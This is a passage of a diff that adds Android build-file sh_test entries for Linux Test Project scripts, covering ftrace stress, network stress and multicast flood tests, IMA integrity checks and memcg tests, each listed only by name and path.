+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_current_tracer.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_current_tracer.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_ftrace_enabled.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_ftrace_enabled.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_ftrace_enabled.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_function_profile_enabled.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_function_profile_enabled.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_function_profile_enabled.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_set_event.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_set_event.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_set_event.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_set_ftrace_filter.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_set_ftrace_filter.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_set_ftrace_filter.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_set_ftrace_pid.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_set_ftrace_pid.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_set_ftrace_pid.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_stack_max_size.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_stack_max_size.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_stack_max_size.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_stack_trace.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_stack_trace.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_stack_trace.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_trace.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_trace.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_trace_clock.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_clock.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_trace_clock.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_trace_options.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_options.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_trace_options.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_trace_pipe.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_pipe.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_trace_pipe.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_trace_stat.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_trace_stat.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_trace_stat.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_tracing_cpumask.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_tracing_cpumask.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_tracing_cpumask.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_tracing_enabled.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_tracing_enabled.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_tracing_enabled.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_tracing_max_latency.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_tracing_max_latency.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_tracing_max_latency.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_ftrace_tracing_on.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress/ftrace_tracing_on.sh",
+    sub_dir: "ltp/testcases/bin/ftrace_stress",
+    filename: "ftrace_tracing_on.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ftrace_stress_test.sh",
+    src: "testcases/kernel/tracing/ftrace_test/ftrace_stress_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ftrace_stress_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_gdb01.sh",
+    src: "testcases/commands/gdb/gdb01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "gdb01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_geneve01.sh",
+    src: "testcases/network/virt/geneve01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "geneve01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_get_ifname",
+    src: "testcases/network/stress/ns-tools/get_ifname",
+    sub_dir: "ltp/testcases/bin",
+    filename: "get_ifname",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_gre01.sh",
+    src: "testcases/network/virt/gre01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "gre01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_host01",
+    src: "testcases/network/tcp_cmds/host/host01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "host01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_http-stress",
+    src: "testcases/network/stress/http/http-stress",
+    sub_dir: "ltp/testcases/bin",
+    filename: "http-stress",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_http-stress01-rmt",
+    src: "testcases/network/stress/http/http-stress01-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "http-stress01-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_http-stress02-rmt",
+    src: "testcases/network/stress/http/http-stress02-rmt",
+    sub_dir: "ltp/testcases/bin",
+    filename: "http-stress02-rmt",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp-uni-basic.sh",
+    src: "testcases/network/stress/icmp/icmp-uni-basic.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp-uni-basic.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp-uni-vti.sh",
+    src: "testcases/network/stress/icmp/icmp-uni-vti.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp-uni-vti.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip01",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip02",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip03",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip04",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip05",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip06",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffip07",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp4-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic01",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic02",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic03",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic04",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic05",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic06",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp4-multi-diffnic07",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp4-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp4-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip01",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip02",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip03",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip04",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip05",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip06",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffip07",
+    src: "testcases/network/stress/icmp/multi-diffip/icmp6-multi-diffip07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffip07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic01",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic02",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic03",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic04",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic05",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic06",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_icmp6-multi-diffnic07",
+    src: "testcases/network/stress/icmp/multi-diffnic/icmp6-multi-diffnic07",
+    sub_dir: "ltp/testcases/bin",
+    filename: "icmp6-multi-diffnic07",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-addr-adddel",
+    src: "testcases/network/stress/interface/if-addr-adddel",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-addr-adddel",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-addr-addlarge",
+    src: "testcases/network/stress/interface/if-addr-addlarge",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-addr-addlarge",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-lib.sh",
+    src: "testcases/network/stress/interface/if-lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-mtu-change",
+    src: "testcases/network/stress/interface/if-mtu-change",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-mtu-change",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-route-adddel",
+    src: "testcases/network/stress/interface/if-route-adddel",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-route-adddel",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-route-addlarge",
+    src: "testcases/network/stress/interface/if-route-addlarge",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-route-addlarge",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if-updown",
+    src: "testcases/network/stress/interface/if-updown",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if-updown",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_if4-addr-change",
+    src: "testcases/network/stress/interface/if4-addr-change",
+    sub_dir: "ltp/testcases/bin",
+    filename: "if4-addr-change",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ima_measurements.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_measurements.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_measurements.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ima_policy.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_policy.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_policy.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ima_setup.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_setup.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_setup.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ima_tpm.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_tpm.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_tpm.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ima_violations.sh",
+    src: "testcases/kernel/security/integrity/ima/tests/ima_violations.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ima_violations.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_initialize_if",
+    src: "testcases/network/stress/ns-tools/initialize_if",
+    sub_dir: "ltp/testcases/bin",
+    filename: "initialize_if",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ip_tests.sh",
+    src: "testcases/network/iproute/ip_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ip_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ipneigh01.sh",
+    src: "testcases/network/tcp_cmds/ipneigh/ipneigh01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ipneigh01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ipsec_lib.sh",
+    src: "testcases/network/stress/ipsec/ipsec_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ipsec_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_iptables_tests.sh",
+    src: "testcases/network/iptables/iptables_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "iptables_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ipvlan01.sh",
+    src: "testcases/network/virt/ipvlan01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ipvlan01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_isofs.sh",
+    src: "testcases/kernel/fs/iso9660/isofs.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "isofs.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_killall_icmp_traffic",
+    src: "testcases/network/stress/ns-tools/killall_icmp_traffic",
+    sub_dir: "ltp/testcases/bin",
+    filename: "killall_icmp_traffic",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_killall_tcp_traffic",
+    src: "testcases/network/stress/ns-tools/killall_tcp_traffic",
+    sub_dir: "ltp/testcases/bin",
+    filename: "killall_tcp_traffic",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_killall_udp_traffic",
+    src: "testcases/network/stress/ns-tools/killall_udp_traffic",
+    sub_dir: "ltp/testcases/bin",
+    filename: "killall_udp_traffic",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_libcgroup_freezer",
+    src: "testcases/kernel/controllers/freezer/libcgroup_freezer",
+    sub_dir: "ltp/testcases/bin",
+    filename: "libcgroup_freezer",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_linktest.sh",
+    src: "testcases/kernel/fs/linktest/linktest.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "linktest.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ln_tests.sh",
+    src: "testcases/commands/ln/ln_tests.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ln_tests.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_lock_torture.sh",
+    src: "testcases/kernel/device-drivers/locking/lock_torture.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "lock_torture.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_ltpSockets.sh",
+    src: "testcases/network/sockets/ltpSockets.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "ltpSockets.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_macsec01.sh",
+    src: "testcases/network/virt/macsec01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "macsec01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_macsec02.sh",
+    src: "testcases/network/virt/macsec02.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "macsec02.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_macsec_lib.sh",
+    src: "testcases/network/virt/macsec_lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "macsec_lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_macvlan01.sh",
+    src: "testcases/network/virt/macvlan01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "macvlan01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_macvtap01.sh",
+    src: "testcases/network/virt/macvtap01.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "macvtap01.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mc_cmds",
+    src: "testcases/network/multicast/mc_cmds/mc_cmds",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mc_cmds",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mc_commo",
+    src: "testcases/network/multicast/mc_commo/mc_commo",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mc_commo",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mc_member",
+    src: "testcases/network/multicast/mc_member/mc_member",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mc_member",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mc_opts",
+    src: "testcases/network/multicast/mc_opts/mc_opts",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mc_opts",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast-group-multiple-socket",
+    src: "testcases/network/stress/multicast/grp-operation/mcast-group-multiple-socket",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast-group-multiple-socket",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast-group-same-group",
+    src: "testcases/network/stress/multicast/grp-operation/mcast-group-same-group",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast-group-same-group",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast-group-single-socket",
+    src: "testcases/network/stress/multicast/grp-operation/mcast-group-single-socket",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast-group-single-socket",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast-group-source-filter",
+    src: "testcases/network/stress/multicast/grp-operation/mcast-group-source-filter",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast-group-source-filter",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast-lib.sh",
+    src: "testcases/network/stress/multicast/grp-operation/mcast-lib.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast-lib.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-pktfld01",
+    src: "testcases/network/stress/multicast/packet-flood/mcast4-pktfld01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-pktfld01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-pktfld02",
+    src: "testcases/network/stress/multicast/packet-flood/mcast4-pktfld02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-pktfld02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld01",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld02",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld03",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld04",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld05",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast4-queryfld06",
+    src: "testcases/network/stress/multicast/query-flood/mcast4-queryfld06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast4-queryfld06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-pktfld01",
+    src: "testcases/network/stress/multicast/packet-flood/mcast6-pktfld01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-pktfld01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-pktfld02",
+    src: "testcases/network/stress/multicast/packet-flood/mcast6-pktfld02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-pktfld02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld01",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld01",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld01",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld02",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld02",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld02",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld03",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld03",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld03",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld04",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld04",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld04",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld05",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld05",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld05",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_mcast6-queryfld06",
+    src: "testcases/network/stress/multicast/query-flood/mcast6-queryfld06",
+    sub_dir: "ltp/testcases/bin",
+    filename: "mcast6-queryfld06",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_control_test.sh",
+    src: "testcases/kernel/controllers/memcg/control/memcg_control_test.sh",
+    sub_dir: "ltp/testcases/bin",
+    filename: "memcg_control_test.sh",
+    compile_multilib: "both",
+}
+
+sh_test {
+    name: "ltp_testcases_bin_memcg_failcnt.sh",
